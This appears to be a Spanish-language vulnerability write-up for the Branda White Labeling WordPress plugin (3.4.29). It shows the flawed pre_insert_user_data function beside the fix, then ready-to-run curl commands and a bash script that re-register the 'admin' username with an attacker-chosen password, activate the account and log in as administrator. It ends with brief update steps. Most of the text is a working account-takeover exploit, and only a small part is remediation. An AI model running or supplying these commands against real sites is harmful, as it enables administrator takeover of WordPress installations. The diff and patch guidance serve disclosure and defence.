// Versión vulnerable (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Código de multisitio...
    }
    // Falta: if ($update) return $data; <-- VULNERABILIDAD
    
    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        // Establecer la contraseña desde los datos POST
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Código de multisitio con comprobaciones adecuadas...
    }

    // CORRECCIÓN: Se añadió comprobación para evitar actualizar usuarios existentes
    if ( $update ) {
        return $data;
    }

    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"

curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-signup.php" \
  -d "user_name=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "signup_for=blog"

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php?action=register" \
  -d "user_login=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "wp-submit=Register"

# Extraer la clave de activación del correo y visitar:
curl -s -k -c cookies.txt -b cookies.txt \
  "https://TARGET/wp-activate.php?key=ACTIVATION_KEY"

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php" \
  -d "log=admin" \
  -d "pwd=NewP@ssw0rd!" \
  -d "wp-submit=Log In" \
  -L | grep -i "dashboard\|wp-admin\|error"

#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"

echo "[*] Registrando $USERNAME con contraseña $NEW_PASSWORD..."

# Ataque a multisitio
curl -s -k -c /tmp/cookies.txt \
  -X POST "$TARGET/wp-signup.php" \
  -d "user_name=$USERNAME" \
  -d "[email protected]" \
  -d "password_1=$NEW_PASSWORD" \
  -d "password_2=$NEW_PASSWORD"

echo "[*] Revisa el correo para obtener el enlace de activación"
echo "[*] Después de la activación, intenta: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"

# Mediante el Administrador de WordPress
Escritorio > Plugins > Branda > Actualizar

# Mediante WP-CLI
wp plugin update branda-white-labeling

# Mediante SSH
wp plugin update branda-white-labeling --version=3.4.31